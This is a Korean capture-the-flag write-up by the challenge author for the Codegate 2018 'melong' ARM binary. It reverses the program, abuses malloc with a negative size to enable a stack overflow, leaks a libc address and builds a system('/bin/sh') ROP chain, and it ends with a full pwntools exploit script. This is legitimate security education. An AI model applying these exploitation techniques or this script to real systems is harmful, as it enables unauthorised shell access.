Codegate2018 melong

By puing | March 2, 2018

Codegate2018 melong 출제자 Write Up

안녕하세요. 이번에 Codegate2018 예선에 melongdroid 문제를 출제한 puing 입니다.
이번 글에서는 melong 문제에 대한 write-up 을 써 볼까 합니다.


해당 문제에서는 melong 이라는 바이너리가 주어집니다.


$ file melong
melong: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=2c55e75a072020303e7c802d32a5b82432f329e9, not stripped


32bit arm 바이너리네요 :)


실행 후 아래와 같은 화면을 볼 수 있습니다.


$qemu-arm -L /usr/arm-linux-gnueabi ./melong
Welcome to the BPSEC gym

1. Check your bmi
2. Exercise
3. Register personal training
4. Write daily record
5. Have some health menu
6. Out of the gym


-L 옵션은 라이브러리 경로를 의미합니다.
저같은 경우엔 arm 바이너리를 실행하기 위해 아래와 같이 필요한 것들을 차례대로 설치하였습니다.


$sudo apt-get install qemu
$sudo apt-get install -y gcc-multilib-arm-linux-gnueabi
$sudo apt-get install -y gcc-multilib-arm-linux-gnueabihf


정상적으로 설치가 되었다면 /usr/arm-linux-gnueabi 에 라이브러리, 헤더파일 등등이 생기게됩니다. 이를 실행할 때 라이브러리 경로를 지정해주어 실행시켰습니다.



Melong Overview

Welcome to the BPSEC gym 이라는 문자열과 함께 1~6번까지의 옵션이 보입니다.


헬스장에 온걸 환영한다는 문구와함께 옵션 다음과 같은 옵션을 확인할 수 있습니다.


1. bmi 측정하기
2. 운동하기
3. pt 등록하기
4. 일별 일지 쓰기
5. 건강식 먹기
6. 헬스장 나가기


1번 옵션을 선택하면 bmi 를 측정할 수 있습니다.
미터 단위로 키를 입력하고 킬로그램 단위로 몸무게를 입력하면 bmi 를 출력해줍니다.


Type the number:1

Let's check your bmi!!

bmi(Body Mass Index) is a value derived from the mass (weight) and height of an individual. The BMI is defined as the body mass divided by the square of the body height, and is universally expressed in units of kg/m2, resulting from mass in kilograms and height in metres. - Wiki

Input your height and mass
Your height(meters) : 1.8
Your height : 1.800000
Your weight(kilograms) : 80
Your weight : 80.000000
bmi <= 18.4 : underweight
18.5 < bmi < 24.9 : optimal weight
25 < bmi < 29.9 : overweight
30 < bmi : obese

Your bmi is : 24.691358
You are optimal weight !!


키 1.8, 몸무게 80 을 입력했을 경우 24.69..로 bmi 가 측정되고 정상 체중이라고 알려줍니다.


그대로 2번 옵션을 선택하여 운동을 하려고하면 이미 건강하다며 운동할 필요가 없다고 나옵니다.


Type the number:2
You are already healthy
You don't need to exercise


3번 옵션을 선택하면 얼마나 트레이닝을 받을 것인지 물어보고, 아무값(100) 을 입력했더니 bmi 를 다시 측정하라고 나옵니다.


Type the number:3
Let's start personal training
How long do you want to take personal training?
100
Check your bmi again!!


4번 옵션을 선택하면 트레이닝을 먼저 받고 오라는 문자열을 출력해줍니다.


Type the number:4
you should take personal training first!!
1. Check your bmi
2. Exercise
3. Register personal training
4. Write daily record
5. Have some health menu
6. Out of the gym



Reversing with IDA

이제 이 바이너리를 아이다를 이용해 열어 분석 해 봅시다.
main함수에서는 melong 을 실행했을 때 처음 출력되는 문자열을 볼 수 있습니다.



write_diary 함수를 보니, read 함수로 사용자의 입력을 받습니다. 그리고 입력받은 값은 a2 로 들어가게됩니다.



a2v5 의 주소이고 ebp-0x54 만큼 떨어져있습니다.
write_diary 함수에서 사용자의 입력값이 ebp-0x54 에서부터 차례대로 써질것입니다.



그리고 write_diary 의 첫 번째 인자 v8 만큼 사용자의 입력을 받습니다.



v8PT 함수의 리턴값이 담겨있는 곳입니다.
PT 함수에서 어떤 값을 리턴하는지 아래의 화면을 봅시다.



트레이닝을 얼마나 받을 것인지 입력을 받은 후, 입력받은 만큼 malloc 함수로 메모리를 할당받은 후 그 주소가 exc2 와 같으면 사용자가 입력한 값을 그대로 리턴해줍니다.

exc2 값이 무엇인지 한 번 알아봅시다.




먼저 1번 옵션을 선택하여 bmi 를 측정하게되면 check 함수가 호출됩니다. check 함수에서 키와 몸무게를 입력받고 calc,get_result 함수를 차례대로 호출합니다.



calc 함수에서는 계산을 통해 bmi 를 출력합니다.



get_result 함수에서는 bmi 만큼 malloc 으로 메모리를 할당해주고 할당받은 주소를 exc, exc2 에 저장합니다.

처음 bmi 를 측정하여 bmi 만큼 malloc 으로 할당받고, 할당받은 주소는 exc에,
그 다음에 bmi 측정하여 bmi 만큼 malloc 으로 할당받고 그 주소는 exc2 로 가게됩니다.



따라서 PT 함수에서 새로 할당받은 주소와 두 번째 bmi 를 측정하고 할당받은 주소가 같아야합니다.
그래야 write_diary 함수에서 사용자 입력만큼 쓸 수 있는거니까요!

일단, 두 번째 bmi 를 측정하여 get_result 함수에서 할당받은 메모리를 free 해야 PT 함수에서 malloc 으로 같은 주소에 할당 받을 수 있겠죠? 이미 malloc 으로 할당받은 주소를 free 해주지 않았는데 같은 주소를 할당해줄 수 없으니까요.


free 를 해주는 곳은 exercise 라는 함수입니다.
excexc2 를 free 해줍니다.





따라서 취약점 트리거 순서는 다음과 같습니다.

1. bmi 를 2번 측정 한다.
2. exercise 함수에서 free 를 한다.
3. PT 함수에서 malloc 할당받은 주소와 exc2 가 같으면 큰 수를 입력하여 write_diary 에서 overflow를 일으킨다.


여기서 관건은 어떻게 같은 주소를 할당 받느냐 인데,
malloc 함수로 메모리 할당받을때 사이즈를 음수로 지정하면 그 다음부터는 같은 주소를 반환해줍니다.


이게 무슨 말인가 하면, 아래와 같습니다.


#include <stdio.h>
#include <stdlib.h>

int main()
{
	char *p, *p1, *p2;
	int input;

	p = malloc(10);
	printf("%p\n", p);
	free(p);

	p1 = malloc(39);
	printf("%p\n", p1);
	free(p1);

	p2 = malloc(120);
	printf("%p\n", p2);
	free(p2);

	return 0;
}


위의 코드를 32bit 환경에서 실행할 경우 각기 다른 주소에 할당 해주는 것을 알 수 있습니다.
실행 결과는 아래와 같습니다.


$ ./test
0x9844008
0x9844420
0x9844450


하지만 처음 10바이트 만큼을 -10으로 바꿔주면 결과는 어떻게될까요?


$ ./test
(nil)
0xf7400878
0xf7400878


같은 주소를 반환해주는 것을 알 수 있습니다.
이를 이용해서 같은 주소를 반환하게하여 PT 함수에서 원하는 수 입력할 수 있도록 해봅시다.


음수를 사이즈로 두고 malloc 함수를 호출할 경우, 언제나 같은 주소를 반환 해 주는 것은 아닙니다.
사이즈를 얼마나 할당하느냐에 따라 같은 주소를 반환할수도,아닐수도 있다는 것을 주의 해 주세요.




write_diary 함수에서 overflow 를 일으킬 수 있는데, return address 주소를 어떻게 바꾸면 좋을까요?
/bin/sh 을 인자로 한 system 함수를 실행시켜봅시다.


arm 시스템의 경우에는 함수의 인자를 스택에 저장하지 않고 r0, r1,.. 과 같은 레지스터에 저장합니다.
그래서 system("/bin/sh") 을 실행시키려고 할 경우, r0 에는 /bin/sh 문자열의 주소가 있어야 합니다.


먼저 /bin/sh 문자열의 위치를 찾아보면 offset 0x12121c 에 해당 문자열이 위치해있습니다.



IDA로 libc 파일을 열어본 화면입니다.(대회에서는 libc 파일이 따로 제공되지 않았습니다.)
offset 0x38634system 함수가 위치해있습니다.



그럼 이제, r0 레지스터에 /bin/sh 주소를 넣어주는 가젯을 찾아봅시다.


offset 0x59668 에 위치한 명령어를 봅시다.
sp + 4 에 있는 주소를 r0 에 넣어줍니다. 이 명령어를 이용하여 r0 에 /bin/sh 문자열 주소를 넣어줄 수 있습니다. return address 를 offset 0x59668 로 설정하고 sp+4 에 /bin/sh 문자열 주소를 넣어주면 되겠죠?



그리고 스택주소의 +12 값으로 pc 값이 바뀝니다.



sp+4/bin/sh 문자열 주소를 위치시키면 r0 에는 /bin/sh 문자열의 주소가 들어가게되고,
sp+12 에 있는 값이 pc 로 들어가게되어 그 곳으로 jmp 하게 됩니다.
때문에 sp+12 에 system 함수의 주소를 넣어주면 system 함수가 실행되겠죠? :)


따라서 payload를 gadget_addr + dummy(4) + /bin/sh_addr + dummy(4) + system_addr 와 같이 작성하면,
sp+4 에있는 /bin/sh 주소가 r0 에 담기고 sp+12 에있는 system 함수 주소가 pc 에 담기게 됩니다.``


하지만 return address 를 바꾸기 전에, 먼저 memory leak 을 통해 libc base 주소를 알아내봅시다.


main 함수가 끝나는 부분인 main+452 에 브포를 걸고 스택값을 봅시다.


0x00011278 <+428>:	ldr	r0, [pc, #76]	; 0x112cc <main+512>
0x0001127c <+432>:	bl	0x104a8 <puts@plt>
0x00011280 <+436>:	nop			; (mov r0, r0)
0x00011284 <+440>:	b	0x11138 <main+108>
0x00011288 <+444>:	mov	r0, r3
0x0001128c <+448>:	sub	sp, r11, #4
0x00011290 <+452>:	pop	{r11, pc}
gdb-peda$ x/10wx $sp
0xf6ffef30:	0x00000000	0xf6682d14	0xf67ab000	0xf6fff084
0xf6ffef40:	0x00000001	0x000110cc	0xb42fda0f	0xb4b819e7
0xf6ffef50:	0x00011cd4	0x00000000


0xf6682d14 libc_start_main 주소가 보입니다.



offset 0x16d14 에 위치한 명령어입니다. 이 주소를 먼저 leak 한 수에 system, /bin/sh, gadget 주소를 계산합니다.


write_diary 에 존재하는 read 함수에 브레이크포인트를 걸고 우리가 입력한 값의 위치를 확인해보면, 우리가 leak 해야할 주소가 있는 0xf6ffef3484byte만큼 떨어져 있다는 것을 알 수 있습니다.


gdb-peda$ i r
r0             0x0	0x0
r1             0xf6ffeee0	0xf6ffeee0
r2             0x78	0x78
r3             0x78	0x78
...
lr             0x11254	0x11254
pc             0x10710	0x10710 <write_diary+60>
cpsr           0x20000010	0x20000010
gdb-peda$ x/3i $pc
=> 0x10710 <write_diary+60>:	bl	0x10484 <read@plt>
   0x10714 <write_diary+64>:	ldr	r1, [r11, #-20]	; 0xffffffec
   0x10718 <write_diary+68>:	ldr	r0, [pc, #12]	; 0x1072c <write_diary+88>

>>> print 0xf6ffef34 - 0xf6ffeee0
84


개행문자까지 포함하여 필요한 84byte를 위해 dummy 83byte를 입력하여 그 다음에 위치한 libc_start_main 주소를 leak 한 후, system, /bin/sh, gadget 주소를 계산하여 return address 를 바꾸면 정상적으로 쉘을 획득할 수 있습니다.


magic gadget 을 패치하지 않았기 때문에, return address 를 magic gadget 주소로 덮어씌워서 문제를 풀 수도 있습니다.


flag는 D0n7_7h1nk_7ha7_1_Can_3xp1ain_it 였습니다 :)




ex.py


import binascii
from pwn import *

payload = ""

if len(sys.argv) > 1:
	REMOTE = True
else :
	REMOTE = False

if REMOTE :
#	output = remote('ch41l3ng3s.codegate.kr',1199)
	output = remote('127.0.0.1',7777)

else :
	output = process('./test')

def checkbmi(num,h,w):
	payload = num
	if REMOTE :
                output.sendline(payload)
        else :
		output.stdin.write(payload + '\n')

	print output.recvuntil('Input')
	payload = h
	if REMOTE :
                output.sendline(payload)
        else :
		output.stdin.write(payload + '\n') #input height

	print output.recvuntil('Your')

	payload = w
	if REMOTE :
                output.sendline(payload)
        else :
		output.stdin.write(payload + '\n') #input weight

def exercise(num):
	payload = num
	if REMOTE :
                output.sendline(payload)
        else :
		output.stdin.write(payload + '\n')

def pt(num,h):
	payload = num
	if REMOTE :
                output.sendline(payload)
        else :
		output.stdin.write(payload + '\n')

	print output.recvuntil('training')

	payload = h

	if REMOTE :
                output.sendline(payload)
        else :
		output.stdin.write(payload + '\n')


def diary(num,cnt,gadget_addr,system_addr,bin_addr):


	if (cnt == 1):

		payload = num
		if REMOTE :
                	output.sendline(payload)
        	else :
			output.stdin.write(payload + '\n')

		payload = "a"*75
		if REMOTE :
                	output.sendline(payload)
        	else :
			output.stdin.write(payload + '\n')

		print output.recvuntil("wrote ")
		print output.recv(76)
		stack_leak = output.recv(4)
		print u32(binascii.hexlify(stack_leak).decode())
		stack_leak = int(hex(p32(output.recv(4))),16)
		print hex(stack_leak)

		return stack_leak

	elif(cnt == 2) :
		payload = num

		if REMOTE :
                	output.sendline(payload)
        	else :
			output.stdin.write(payload + '\n')

		payload = "i"*83

		if REMOTE :
                	output.sendline(payload)
        	else :
			output.stdin.write(payload + '\n')

		print output.recvuntil("wrote ")
        	print output.recv(84)

		libc_leak = int(hex(u32(output.recv(4))),16)
		print hex(libc_leak)
		return libc_leak

	else :
		payload = num

		if REMOTE :
                	output.sendline(payload)
        	else :
			output.stdin.write(payload + '\n')

		payload = "a" * 76
		payload += "a" * 4
		payload += "a" * 4
		payload += p32(gadget_addr)
		payload += "a" * 4
		payload += p32(bin_addr)
		payload += "a" * 4 # dummy
		payload += p32(system_addr)
		print 'payload is : %s' %payload

		if REMOTE :
			output.sendline(payload)
        	else :
			output.stdin.write(payload + '\n')

		print output.recvuntil("wrote ")
		print output.recv(100)

def out(num):
	payload = num

	if REMOTE :
		output.sendline(payload)
	else :
		output.stdin.write(payload + '\n')

def main():
	print output.recvuntil('Out of the gym')

	checkbmi("1","1","-10") #check bmi

	print output.recvuntil('Out of the gym')

	exercise("2") #exercise & free

	print output.recvuntil('Out of the gym')

	checkbmi("1","1","39") #check bmi

	print output.recvuntil('Out of the gym')

	exercise("2") #exercise & free

	print output.recvuntil('Out of the gym')

	pt("3","120") #pt

	print output.recvuntil('Out of the gym')

	leak = diary("4",2,0,0,0) #libc leak

	libcbase = int(leak) - 0x16d14
	print 'libcbase addr : %x ' % libcbase
	system_addr = libcbase + 0x38634
	bin_addr = libcbase + 0x12121c
	gadget = libcbase +0x59668

	print 'system_addr : %x ' % system_addr
	print 'bin_addr : %x ' % bin_addr
	print 'gadget addr : %x ' %gadget

	print output.recvuntil('Out of the gym')

	diary("4",3,gadget, system_addr,bin_addr) # get eip

	print output.recvuntil('Out of the gym')

	out("6") #finish
	output.interactive()

main()
comments powered by Disqus